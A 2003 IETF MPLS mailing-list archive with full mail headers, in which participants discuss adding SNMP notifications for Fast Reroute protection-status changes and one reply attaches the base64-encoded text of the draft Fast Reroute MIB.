Is for example, a problem occurs on one of these detours and the hop becomes
to be unprotected, the consequent Resv message will indicate that the
relevant node is not protected any more and the ARHop table will be updated
with the information. However, a management station has no idea of the
event, unless it keeps polling the ARHop table, which is not a reasonable
operation. I think that an appropriate notification/trap should be sent to
the management station indicating the protection status has been changed to
trigger the management station polling the ARHop table and verifying which
node is not protected any more, or which node that has not been protected is
now protected. 
Is it possible to add such a kind of trap to the TE MIB?
Thanks in advance, Nurit.


From owner-mpls@UU.NET  Thu Oct 30 06:09:02 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA17676
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 06:09:02 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqe11051
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 11:09:12 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqe10869;
	Thu, 30 Oct 2003 11:09:06 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqd05324
	for mpls-outgoing; Thu, 30 Oct 2003 10:52:17 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmqd05318
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 10:52:06 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmqd21467
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:48:54 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqd23448
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:48:54 GMT
Received: from relay0.netfirms.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: m0.netfirms.com [209.171.43.51])
	id QQpmqd23301
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:48:48 GMT
Received: (qmail 26826 invoked from network); 30 Oct 2003 10:48:42 -0000
Received: from du-069-0025.access.clara.net (HELO Puppy) (217.158.132.25)
  by 0 with SMTP; 30 Oct 2003 10:48:42 -0000
Message-ID: <02cc01c39ed3$70eb1b10$f9919ed9@Puppy>
Reply-To: "Adrian Farrel" <adrian@olddog.co.uk>
From: "Adrian Farrel" <adrian@olddog.co.uk>
To: "Nurit Sprecher" <nurit.sprecher@SeabridgeNetworks.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>
References: <C87E5A01714C7840B92CDED9E79329CA0117D0A7@leopard.seabridge.co.il>
Subject: Fast Reroute MIB Notifications
Date: Thu, 30 Oct 2003 10:47:16 -0000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1158
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Subject line changed and recipients trimmed.

Hi Nurit,
I think this would be better answered by one of the MPLS MIB authors.

I have a memory that someone was working on FRR extensions to the TE-MIB, but I can't find
that draft now. Perhaps it was rolled into the MPLS TE MIB?

Your idea seems reasonable to me. That is, when there is a significant change in the
service provided by an LSP, the operator should receive a Notification and not have to
discover the fact by polling.

I'm not sure that the ARHop table tells you what you want to know, anyway. The RRO flags
are not shown as part of ARHop table in
http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-13.txt. This makes this feature
a candidate for either an FRR extension MIB or the GMPLS MIB.

Cheers,
Adrian


> I have a question on notifications when FRR is activated.
> If an LSP has been established with the 'one-to-one local protection
> desired' and a detour has been established at each PLR --> all hops along
> the LSP are considered FRR protected.
> Is for example, a problem occurs on one of these detours and the hop becomes
> to be unprotected, the consequent Resv message will indicate that the
> relevant node is not protected any more and the ARHop table will be updated
> with the information. However, a management station has no idea of the
> event, unless it keeps polling the ARHop table, which is not a reasonable
> operation. I think that an appropriate notification/trap should be sent to
> the management station indicating the protection status has been changed to
> trigger the management station polling the ARHop table and verifying which
> node is not protected any more, or which node that has not been protected is
> now protected.
> Is it possible to add such a kind of trap to the TE MIB?
> Thanks in advance, Nurit.
>



From owner-mpls@UU.NET  Thu Oct 30 06:32:43 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA18175
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 06:32:42 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqg28100
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 11:32:52 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqg27744;
	Thu, 30 Oct 2003 11:32:38 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqf26847
	for mpls-outgoing; Thu, 30 Oct 2003 11:16:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmqf26842
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 11:16:35 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmqe12257
	for <mpls@UU.NET>; Thu, 30 Oct 2003 11:10:27 GMT
From: riza.cetin@alcatel.be
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqe13177
	for <mpls@UU.NET>; Thu, 30 Oct 2003 11:10:26 GMT
Received: from relay4.alcatel.be by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alc245.alcatel.be [195.207.101.245])
	id QQpmqe13104
	for <mpls@UU.NET>; Thu, 30 Oct 2003 11:10:23 GMT
Received: from Bemail06.net.alcatel.be (bemail06.net.alcatel.be [138.203.144.83])
	by relay4.alcatel.be (8.12.10/8.12.10) with ESMTP id h9UBALn0007170
	for <mpls@UU.NET>; Thu, 30 Oct 2003 12:10:21 +0100
Received: from alcatel.be ([138.203.191.132])
          by Bemail06.net.alcatel.be (Lotus Domino Release 5.0.11)
          with ESMTP id 2003103012101870:2578 ;
          Thu, 30 Oct 2003 12:10:18 +0100 
Message-ID: <3FA0F19A.B58A2392@alcatel.be>
Date: Thu, 30 Oct 2003 12:10:18 +0100
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Adrian Farrel <adrian@olddog.co.uk>
Cc: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>,
        "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: Fast Reroute MIB Notifications
References: <C87E5A01714C7840B92CDED9E79329CA0117D0A7@leopard.seabridge.co.il> <02cc01c39ed3$70eb1b10$f9919ed9@Puppy>
X-MIMETrack: Itemize by SMTP Server on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/30/2003 12:10:18,
	Serialize by Router on BEMAIL06/BE/ALCATEL(Release 5.0.11  |July 24, 2002) at
 10/30/2003 12:10:20
Content-Type: multipart/mixed;
 boundary="------------4A87041EEE7871842610EC1A"
X-Scanned-By: MIMEDefang 2.37
Sender: owner-mpls@UU.NET
Precedence: bulk


--------------4A87041EEE7871842610EC1A
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Adrian, Nurit,

I have added RRO flags for FRR into the mplsFrrTunARHopTable (see attachment).

I also agree and find useful to define notifications for these flags. We should add them in
version 03.

Riza.

Adrian Farrel wrote:

> Subject line changed and recipients trimmed.
>
> Hi Nurit,
> I think this would be better answered by one of the MPLS MIB authors.
>
> I have a memory that someone was working on FRR extensions to the TE-MIB, but I can't find
> that draft now. Perhaps it was rolled into the MPLS TE MIB?
>
> Your idea seems reasonable to me. That is, when there is a significant change in the
> service provided by an LSP, the operator should receive a Notification and not have to
> discover the fact by polling.
>
> I'm not sure that the ARHop table tells you what you want to know, anyway. The RRO flags
> are not shown as part of ARHop table in
> http://www.ietf.org/internet-drafts/draft-ietf-mpls-te-mib-13.txt. This makes this feature
> a candidate for either an FRR extension MIB or the GMPLS MIB.
>
> Cheers,
> Adrian
>
> > I have a question on notifications when FRR is activated.
> > If an LSP has been established with the 'one-to-one local protection
> > desired' and a detour has been established at each PLR --> all hops along
> > the LSP are considered FRR protected.
> > Is for example, a problem occurs on one of these detours and the hop becomes
> > to be unprotected, the consequent Resv message will indicate that the
> > relevant node is not protected any more and the ARHop table will be updated
> > with the information. However, a management station has no idea of the
> > event, unless it keeps polling the ARHop table, which is not a reasonable
> > operation. I think that an appropriate notification/trap should be sent to
> > the management station indicating the protection status has been changed to
> > trigger the management station polling the ARHop table and verifying which
> > node is not protected any more, or which node that has not been protected is
> > now protected.
> > Is it possible to add such a kind of trap to the TE MIB?
> > Thanks in advance, Nurit.
> >

--------------4A87041EEE7871842610EC1A
Content-Type: text/plain; charset=iso-8859-1;
 name="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Disposition: inline;
 filename="draft-ietf-mpls-fastreroute-mib-02.txt"
Content-Transfer-Encoding: base64

DQoNCk5ldHdvcmsgV29ya2luZyBHcm91cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgUml6YSBDZXRpbg0KSW50ZXJuZXQgRHJhZnQgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgU3RlZmFhbiBEZSBDbm9kZGVyDQpFeHBpcmF0aW9uIERhdGU6IE1h
cmNoIDIwMDQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFsY2F0ZWwNCg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICBEZXItSHdhIEdhbg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgSnVuaXBlciBOZXR3b3JrcywgSW5jLg0KDQogICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBUaG9tYXMgRC4gTmFkZWF1DQogICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaXNjbyBT
eXN0ZW1zLCBJbmMuDQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgIE9jdG9iZXIgMjAwMw0KDQoNCg0KICAgIE11bHRpcHJvdG9jb2wg
TGFiZWwgU3dpdGNoaW5nIChNUExTKSBUcmFmZmljIEVuZ2luZWVyaW5nIE1hbmFnZW1lbnQNCiAg
ICAgICAgICAgICAgICAgICAgIEluZm9ybWF0aW9uIEJhc2UgZm9yIEZhc3QgUmVyb3V0ZQ0KDQog
ICAgICAgICAgICAgICAgICBkcmFmdC1pZXRmLW1wbHMtZmFzdHJlcm91dGUtbWliLTAyLnR4dA0K
DQoNCg0KICAgIFN0YXR1cyBvZiB0aGlzIE1lbW8NCg0KICAgIFRoaXMgZG9jdW1lbnQgaXMgYW4g
SW50ZXJuZXQtRHJhZnQgYW5kIGlzIGluIGZ1bGwgY29uZm9ybWFuY2Ugd2l0aA0KICAgIGFsbCBw
cm92aXNpb25zIG9mIFNlY3Rpb24gMTAgb2YgUkZDMjAyNiBbMV0uDQoNCiAgICBJbnRlcm5ldC1E
cmFmdHMgYXJlIHdvcmtpbmcgZG9jdW1lbnRzIG9mIHRoZSBJbnRlcm5ldCBFbmdpbmVlcmluZw0K
ICAgIFRhc2sgRm9yY2UgKElFVEYpLCBpdHMgYXJlYXMsIGFuZCBpdHMgd29ya2luZyBncm91cHMu
IE5vdGUgdGhhdCBvdGhlcg0KICAgIGdyb3VwcyBtYXkgYWxzbyBkaXN0cmlidXRlIHdvcmtpbmcg
ZG9jdW1lbnRzIGFzIEludGVybmV0LURyYWZ0cy4NCiAgICBJbnRlcm5ldC1EcmFmdHMgYXJlIGRy
YWZ0IGRvY3VtZW50cyB2YWxpZCBmb3IgYSBtYXhpbXVtIG9mIHNpeCBtb250aHMNCiAgICBhbmQg
bWF5IGJlIHVwZGF0ZWQsIHJlcGxhY2VkLCBvciBvYnNvbGV0ZWQgYnkgb3RoZXIgZG9jdW1lbnRz
IGF0IGFueQ0KICAgIHRpbWUuIEl0IGlzIGluYXBwcm9wcmlhdGUgdG8gdXNlIEludGVybmV0LSBE
cmFmdHMgYXMgcmVmZXJlbmNlDQogICAgbWF0ZXJpYWwgb3IgdG8gY2l0ZSB0aGVtIG90aGVyIHRo
YW4gYXMgIndvcmsgaW4gcHJvZ3Jlc3MuIg0KDQogICAgVGhlIGxpc3Qgb2YgY3VycmVudCBJbnRl
cm5ldC1EcmFmdHMgY2FuIGJlIGFjY2Vzc2VkIGF0DQogICAgaHR0cDovL3d3dy5pZXRmLm9yZy9p
ZXRmLzFpZC1hYnN0cmFjdHMudHh0DQogICAgVGhlIGxpc3Qgb2YgSW50ZXJuZXQtRHJhZnQgU2hh
ZG93IERpcmVjdG9yaWVzIGNhbiBiZSBhY2Nlc3NlZCBhdA0KICAgIGh0dHA6Ly93d3cuaWV0Zi5v
cmcvc2hhZG93Lmh0bWwuDQoNCg0KMS4gQWJzdHJhY3QNCg0KICAgIFRoaXMgbWVtbyBkZWZpbmVz
IGEgcG9ydGlvbiBvZiB0aGUgTWFuYWdlbWVudCBJbmZvcm1hdGlvbiBCYXNlIChNSUIpDQogICAg
Zm9yIHVzZSB3aXRoIG5ldHdvcmsgbWFuYWdlbWVudCBwcm90b2NvbHMgaW4gdGhlIEludGVybmV0
IGNvbW11bml0eS4NCiAgICBJbiBwYXJ0aWN1bGFyLCBpdCBkZXNjcmliZXMgbWFuYWdlZCBvYmpl
Y3RzIGZvciBNdWx0aXByb3RvY29sIExhYmVsDQogICAgU3dpdGNoaW5nIChNUExTKSBiYXNlZCBm
YXN0IHJlcm91dGluZy4NCg0KMi4gVGFibGUgb2YgQ29udGVudHMNCg0KDQoxLiBBQlNUUkFDVC4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjENCjIuIFRB
QkxFIE9GIENPTlRFTlRTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
MQ0KMy4gQ09OVkVOVElPTlMgVVNFRCBJTiBUSElTIERPQ1VNRU5ULi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4yDQo0LiBJTlRST0RVQ1RJT04uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLjMNCjUuIEJSSUVGIERFU0NSSVBUSU9OIE9GIE1JQiBPQkpFQ1RTLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNS4xLiBNUExTRlJSQ09OU1RUQUJMRS4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zDQo1LjIuIE1QTFNGUlJQTFJUQUJMRS4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMNCjUuMy4gTVBMU0ZSUkRF
VE9VUlRBQkxFLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uMw0KNi4gTVBM
UyBGQVNUIFJFUk9VVEUgTUlCIERFRklOSVRJT05TLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi40
DQo3LiBTRUNVUklUWSBDT05TSURFUkFUSU9OUy4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uMjkNCjguIFJFRkVSRU5DRUFTLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4yOQ0KOS4gQUNLTk9XTEVER01FTlRTLi4uLi4uLi4uLi4uLi4uLi4uLi4u
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoxMC4gSW50ZWxsZWN0dWFsIFByb3BlcnR5IENvbnNp
ZGVyYXRpb25zLi4uLi4uLi4uLi4uLi4uLi4uLi4uMzANCjExLiBBVVRIT1JTxiBBRERSRVNTRVMu
Li4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4zMA0KMTIuIEZVTEwgQ09QWVJJ
R0hUIFNUQVRFTUVOVC4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLi4uLjMwDQoNCg0KMy4g
Q29udmVudGlvbnMgdXNlZCBpbiB0aGlzIGRvY3VtZW50DQoNCiAgICBUaGUga2V5IHdvcmRzICJN
VVNUIiwgIk1VU1QgTk9UIiwgIlJFUVVJUkVEIiwgIlNIQUxMIiwgIlNIQUxMIE5PVCIsDQogICAg
IlNIT1VMRCIsICJTSE9VTEQgTk9UIiwgIlJFQ09NTUVOREVEIiwgICJNQVkiLCBhbmQgIk9QVElP
TkFMIiBpbiB0aGlzDQogICAgZG9jdW1lbnQgYXJlIHRvIGJlIGludGVycHJldGVkIGFzIGRlc2Ny
aWJlZCBpbiBSRkMtMjExOSBbMl0uDQoNCjQuIEludHJvZHVjdGlvbg0KDQogICAgVGhpcyBtZW1v
IGRlZmluZXMgYSBwb3J0aW9uIG9mIHRoZSBNYW5hZ2VtZW50IEluZm9ybWF0aW9uIEJhc2UgKE1J
QikNCiAgICBmb3IgdXNlIHdpdGggbmV0d29yayBtYW5hZ2VtZW50IHByb3RvY29scyBpbiB0aGUg
SW50ZXJuZXQgY29tbXVuaXR5Lg0KICAgIEluIHBhcnRpY3VsYXIsIGl0IGRlc2NyaWJlcyBtYW5h
Z2VkIG9iamVjdHMgZm9yIE11bHRpcHJvdG9jb2wgTGFiZWwNCiAgICBTd2l0Y2hpbmcgKE1QTFMp
IGJhc2VkIGZhc3QgcmVyb3V0aW5nLiBUaGlzIE1JQiBzaG91bGQgYmUgdXNlZCBpbg0KICAgIGNv
bmp1bmN0aW9uIHdpdGggWzNdIGFuZCBbNF0uDQoNCjUuIEJyaWVmIERlc2NyaXB0aW9uIG9mIE1J
QiBPYmplY3RzLg0KDQogICAgVGhlIG9iamVjdHMgZGVzY3JpYmVkIGluIHRoaXMgc2VjdGlvbiBz
dXBwb3J0IHRoZSBkZXRvdXINCiAgICBmdW5jdGlvbmFsaXR5IGRlc2NyaWJlZCBpbiBTZWN0aW9u
IDMgb2YgWzVdLg0KDQo1LjEuIG1wbHNGcnJDb25zdFRhYmxlDQoNCiAgICBUaGlzIHRhYmxlIGNv
bnRhaW5zIGZhc3QtcmVyb3V0ZSBjb25zdHJhaW50cyBzdWNoIGFzIHNldHVwIGFuZA0KICAgIGhv
bGRpbmcgcHJpb3JpdGllcyBhbmQgYmFuZHdpZHRoIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0byBi
ZQ0KICAgIHByb3RlY3RlZCBieSB1c2luZyBiYWNrdXAgTFNQcyAoZGV0b3VyIExTUHMgb3IgYnkt
cGFzcyB0dW5uZWxzKS4NCg0KICAgIFRoaXMgdGFibGUgaXMgdXNlZCBhdCB0aGUgaW5ncmVzcyBu
b2RlIG9mIHRoZSBwcm90ZWN0ZWQgdHVubmVsDQogICAgaW5zdGFuY2UgdG8gY29uZmlndXJlIGJh
Y2t1cCBMU1Agc2V0dXAgY29uc3RyYWludHMuDQoNCjUuMi4gbXBsc0ZyclBMUlRhYmxlDQoNCiAg
ICBUaGUgbXBsc0ZyclBMUlRhYmxlIGlzIGFuIG9wdGlvbmFsIHRhYmxlIHRoYXQgY29udGFpbnMg
bGlzdHMgb2YgUExScw0KICAgIHRoYXQgaW5pdGlhdGVkIGRldG91ciBMU1BzIHRvIHByb3RlY3Qg
dHVubmVsIGluc3RhbmNlcy4NCg0KICAgIFdoZW4gZGV0b3VyIExTUHMgaW5pdGlhdGVkIGJ5IGRp
ZmZlcmVudCBQTFJzIHRvIHByb3RlY3QgdGhlIHNhbWUNCiAgICB0dW5uZWwgaW5zdGFuY2UsIGFy
ZSBtZXJnZWQgdG9nZXRoZXIgYmVmb3JlIGVudGVyaW5nIGFuIExTUiB0aGVuIGF0DQogICAgdGhp
cyBMU1IsIGVudHJpZXMgb2YgdGhvc2UgUExScyBwb2ludCB0byB0aGUgc2FtZSBkZXRvdXIgTFNQ
IGVudHJ5IGluDQogICAgdGhlIG1wbHNGcnJEZXRvdXJUYWJsZS4NCg0KNS4zLiBtcGxzRnJyRGV0
b3VyVGFibGUNCg0KICAgIFRoZSBtcGxzRnJyRGV0b3VyVGFibGUgc2hvd3MgdGhlIGRldG91ciBM
U1BzIGluIGVhY2ggbm9kZSAoaW5ncmVzcywNCiAgICB0cmFuc2l0IGFuZCBlZ3Jlc3Mgbm9kZXMp
LiBBbiBlbnRyeSBvZiB0aGlzIHRhYmxlIHJlcHJlc2VudHMgYSBkZXRvdXINCiAgICBMU1AuDQoN
CiAgICBFYWNoIGRldG91ciBpcyBpZGVudGlmaWVkIGJ5Og0KDQogICAgLSB0dW5uZWwgaW5kZXg6
DQogICAgICBzZXQgdG8gdGhlIHR1bm5lbC1pZCBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEgZGV0
b3VyLg0KDQogICAgLSB0dW5uZWwgaW5zdGFuY2U6IGNvbnNpc3RzIG9mIHR3byBwYXJ0cw0KDQog
ICAgICAxKSBsb3dlciAxNiBiaXRzOiAgLSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlDQogICAg
ICAgICAgICAgICAgICAgICAgICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgcHJvdGVjdGVkIExT
UCB3aXRoaW4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgIGEgdHVubmVsLg0KICAgICAgMikg
aGlnaGVyIDE2IGJpdHM6IC0gZGV0b3VyIGluc3RhbmNlDQogICAgICAgICAgICAgICAgICAgICAg
ICAgLSB1bmlxdWVseSBpZGVudGlmaWVzIGEgZGV0b3VyIExTUCBvZiBhIHByb3RlY3RlZA0KICAg
ICAgICAgICAgICAgICAgICAgICAgICAgdHVubmVsIGluc3RhbmNlLg0KDQogICAgICAgICAgICAg
ICAgICAgICAgICAgICBNdWx0aXBsZSBkZXRvdXJzIG9mIHRoZSBzYW1lIHByb3RlY3RlZCBMU1Ag
bWF5IGdvDQogICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdWdoIHRoZSBzYW1lIG5vZGUu
IEluIHRoaXMgY2FzZSwgaGlnaGVyIDE2IGJpdHMNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
IG9mIHRoZSB0dW5uZWwgaW5zdGFuY2Ugb2JqZWN0IGlzIHVzZWQgYXMgYSBkZXRvdXINCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGluc3RhbmNlLg0KDQogICAgLSBpbmdyZXNzIG5vZGU6DQog
ICAgICBzZXQgdG8gdGhlIGluZ3Jlc3Mgbm9kZSBvZiBhbiBMU1AgcHJvdGVjdGVkIGJ5IGEgZGV0
b3VyLg0KDQogICAgLSBlZ3Jlc3Mgbm9kZToNCiAgICAgIHNldCB0byB0aGUgZWdyZXNzIG5vZGUg
b2YgYW4gTFNQIHByb3RlY3RlZCBieSBhIGRldG91ci4NCg0KICAgIEEgZGV0b3VyIExTUCBpcyBh
bHNvIGNvbnNpZGVyZWQgYXMgYW4gaW5zdGFuY2Ugb2YgYSBwcm90ZWN0ZWQgdHVubmVsLg0KICAg
IFRoZXJlZm9yZSwgZWFjaCBkZXRvdXIgTFNQIHdpbGwgaGF2ZSBhbiBlbnRyeSBpbiB0aGUgbXBs
c1R1bm5lbFRhYmxlIChkZWZpbmVkDQogICAgaW4gdGhlIE1QTFMtVEUtTUlCKS4NCg0KICAgIElu
IHRoZSBtcGxzVHVubmVsVGFibGUsIGhpZ2hlciAxNiBiaXRzIG9mIHRoZSB0dW5uZWwgaW5zdGFu
Y2Ugd2lsbCBiZSB1c2VkDQogICAgYXMgZGV0b3VyIGluc3RhbmNlLiBOb3RlIHRoYXQgZm9yIHRo
ZSBwcm90ZWN0ZWQgdHVubmVsIGluc3RhbmNlcywgaGlnaGVyIDE2IGJpdHMNCiAgICBvZiB0aGUg
dHVubmVsIGluc3RhbmNlIG11c3QgYmUgYWxsIHplcm9zLg0KDQogICAgVGhpcyB0YWJsZSBpcyBv
cHRpb25hbCBhbmQgaXMgb25seSByZXF1aXJlZCBpbiBjYXNlIG1wbHNGcnJQTFJUYWJsZQ0KICAg
IGlzIHN1cHBvcnRlZC4NCg0KNS40LiBtcGxzRnJyVHVubmVsQVJIb3BUYWJsZQ0KDQogICAgVGhp
cyB0YWJsZSBleHRlbmRzIG1wbHNUdW5uZWxBUkhvcCB0YWJsZSAoZGVmaW5lZCBpbiB0aGUgTVBM
Uy1URSBNSUIpDQogICAgd2l0aCBmYXN0LXJlcm91dGUgb2JqZWN0cyB3aGljaCBzcGVjaWZpZXMg
dGhlIHN0YXR1cyBvZiBsb2NhbA0KICAgIHByb3RlY3Rpb24gKGF2YWlsYWJpbGl0eSBhbmQgaW4t
dXNlKSBwZXIgaG9wIHRyYXZlcnNlZCBieSBhIHByb3RlY3RlZA0KICAgIHR1bm5lbC4NCg0KICAg
IFRoZSBzdXBwb3J0IG9mIHRoaXMgdGFibGUgaXMgb3B0aW9uYWwgc2luY2Ugbm90IGFsbCBNUExT
IHNpZ25hbGxpbmcNCiAgICBwcm90b2NvbHMgbWF5IHN1cHBvcnQgbXBsc1R1bm5lbEFSSG9wVGFi
bGUuDQoNCiAgICBFRCBOT1RFOiBOZWVkIHRvIGFkZCBkZXNjcmlwdGlvbiBvZiBGYWNpbGl0eS1i
YXNlZCBGUlIgdGFibGVzDQogICAgYW5kIGV4cGxhbmF0aW9uIG9mIG5ldyBNSUIgc3RydWN0dXJl
Lg0KDQo2LiBNUExTIEZhc3QgUmVyb3V0ZSBNSUIgRGVmaW5pdGlvbnMNCg0KDQpNUExTLUZSUi1N
SUIgREVGSU5JVElPTlMgOjo9IEJFR0lODQoNCiAgICBJTVBPUlRTDQogICAgICAgTU9EVUxFLUlE
RU5USVRZLCBPQkpFQ1QtVFlQRSwNCiAgICAgICBJbnRlZ2VyMzIsIFVuc2lnbmVkMzIsIENvdW50
ZXIzMiwNCiAgICAgICBOT1RJRklDQVRJT04tVFlQRSwgZXhwZXJpbWVudGFsDQogICAgICAgICAg
RlJPTSBTTk1QdjItU01JDQogICAgICAgTU9EVUxFLUNPTVBMSUFOQ0UsIE9CSkVDVC1HUk9VUCwg
Tk9USUZJQ0FUSU9OLUdST1VQDQogICAgICAgICAgRlJPTSBTTk1QdjItQ09ORg0KICAgICAgIFRF
WFRVQUwtQ09OVkVOVElPTiwgVHJ1dGhWYWx1ZSwgUm93U3RhdHVzLA0KICAgICAgIFRpbWVTdGFt
cA0KICAgICAgICAgIEZST00gU05NUHYyLVRDDQogICAgICAgSW50ZXJmYWNlSW5kZXgsIEludGVy
ZmFjZUluZGV4T3JaZXJvDQogICAgICAgICAgRlJPTSBJRi1NSUINCiAgICAgICBNcGxzVHVubmVs
SW5kZXgsIE1wbHNUdW5uZWxJbnN0YW5jZUluZGV4LA0KICAgICAgIE1wbHNUdW5uZWxBZmZpbml0
eSwgTXBsc0xzcklkZW50aWZpZXINCiAgICAgICAgICBGUk9NIE1QTFMtVEMtTUlCDQogICAgICAg
SW5ldEFkZHJlc3NUeXBlLCBJbmV0QWRkcmVzcw0KICAgICAgICAgIEZST00gSU5FVC1BRERSRVNT
LU1JQg0KICAgICAgIDsNCg0KICAgIG1wbHNGcnJNSUIgTU9EVUxFLUlERU5USVRZDQogICAgICAg
TEFTVC1VUERBVEVEDQogICAgICAgICAgIjIwMDIxMTAxMTIwMFoiIC0tIDAxIE5vdmVtYmVyIDIw
MDIgMTI6MDA6MDAgR01UDQogICAgICAgT1JHQU5JWkFUSU9ODQogICAgICAgICAgIk11bHRpcHJv
dG9jb2wgTGFiZWwgU3dpdGNoaW5nIChNUExTKSBXb3JraW5nIEdyb3VwIg0KICAgICAgIENPTlRB
Q1QtSU5GTw0KICAgICAgICAgICAgIg0KICAgICAgICAgICAgICAgICAgICAgUml6YSBDZXRpbg0K
ICAgICAgICAgICAgIFBvc3RhbDogQWxjYXRlbA0KICAgICAgICAgICAgICAgICAgICAgRnJhbmNp
cyBXZWxsZXNwbGVpbiAxDQogICAgICAgICAgICAgICAgICAgICBCLTIwMTggQW50d2VycCwgQmVs
Z2l1bQ0KICAgICAgICAgICAgIFRlbDogICAgKzMyLTMtMjQwNDczNQ0KICAgICAgICAgICAgIEVt
